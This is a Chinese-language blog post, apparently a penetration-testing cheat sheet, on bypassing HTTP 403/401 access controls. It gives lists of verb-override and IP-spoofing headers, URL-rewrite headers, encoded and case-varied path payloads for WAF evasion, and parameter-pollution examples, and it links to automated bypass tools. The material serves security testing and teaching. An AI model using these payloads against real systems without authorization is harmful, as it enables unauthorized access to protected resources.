403&401Bypass绕过

403 & 401 Bypass

尝试使用不同的请求方法去请求

尝试发送不同类型的请求例如:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK但是一般服务都会限制请求方法(万一呢)

  • 查看相应头,例如,对 HEAD 的 200 响应带有 Content-Length: 55 意味着 HEAD 动词可以访问该信息。但是仍需要别的方法去显示出这些信息

  • 使用动词覆盖:X-Method_Overridex-http-method-override

    例如:

    POST /api/Person/4 HTTP/1.1  
    X-HTTP-Method-Override: PUT
    
尝试修改请求头
  • 修改Host值,如果网站做了基于域名或则和ip地址的访问控制策略限制一些敏感资源的访问,可以通过修改host值(比如通过信息收集到的子域,或者是目标的其他资产ip或者是内网 ip)都可以进行尝试从而绕过访问控制策略。

  • 修改UA,爆破尝试不同的UA

  • 尝试使用HTTP Proxy Headers,修改请求头中表示请求的客户端原始地址,同样将其改为子域,其他资产ip,localhost等等,如:

    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Forwarded: 127.0.0.1
    Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-ProxyUser-Ip: 127.0.0.1
    X-Original-URL: 127.0.0.1
    Client-IP: 127.0.0.1
    True-Client-IP: 127.0.0.1
    Cluster-Client-IP: 127.0.0.1
    X-ProxyUser-Ip: 127.0.0.1
    Host: localhost

    或者是修改为访问目标下的子目录,例如我想访问/admin目录但是没有权限可以尝试将请求头修改为

    X-Original-URL:/admin/xxxxx

    X-Rewrite-URL: /admin/xxxxx

  • 如果网页不是直接从原始服务器获取,而是通过代理服务器中转或代理传输的,代理服务器可以限制你访问私有信息,对一些敏感请求进行拦截。可以尝试通过HTTP请求走私或者是逐跳标头这里引用了一些大佬的博客,方便后续的学习。

    逐跳标头

    请求走私

  • 403也有可能是waf导致,waf中配置了禁止访问的文件名或者路径,此时可以尝试通过填充脏数据,大小写,双重URL编码或者fuzz路径来尝试bypass

    比如

    /./path_
    #url 编码
    /%2e/path_
    #双重url编码
    /%252e/path_
    #或者是对 / 编码
    //path
    %2f/path
    %252f/path
    %ef%bc%8f/path
    #大小写
    abc.com/admin
    abc.com/ADMIN
    abc.com/admin/
    abc.com/admin/.
    abc.com/./admin//
    abc.com/admin/..
    abc.com/;/admin
    abc.com/,;/admin
    abc.com//;//admin
    abc.com/admin.json 
    #或者直接fuzz
    /fuzzdicadmin
    /fuzzdic/admin
    /adminfuzzdic
    
  • 或者修改其他参数

    例如:

    /v3/users_data/1234 --> 403 Forbidden
    /v1/users_data/1234 --> 200 OK
    {"id":111} --> 401 Unauthriozied
    {"id":[111]} --> 200
    {"id":111} --> 401 Unauthriozied
    {"id":{"id":111}} --> 200 (JSON参数污染)
    user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)
    

    或者:

    • 修改参数
    • id=1 -> id=2
    • 增加参数
    • ?id=123 -> ?id=123&isAdmin=true
    • 删除参数
    • 重新排列参数
    • 使用特殊字符
    • 在参数中执行边界测试
或者使用一些自动化工具
  • https://github.com/lobuhi/byp4xx
  • https://github.com/iamj0ker/bypass-403
  • https://github.com/gotr00t0day/forbiddenpass
  • https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122
  • https://github.com/Sn1r/Forbidden-Buster
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值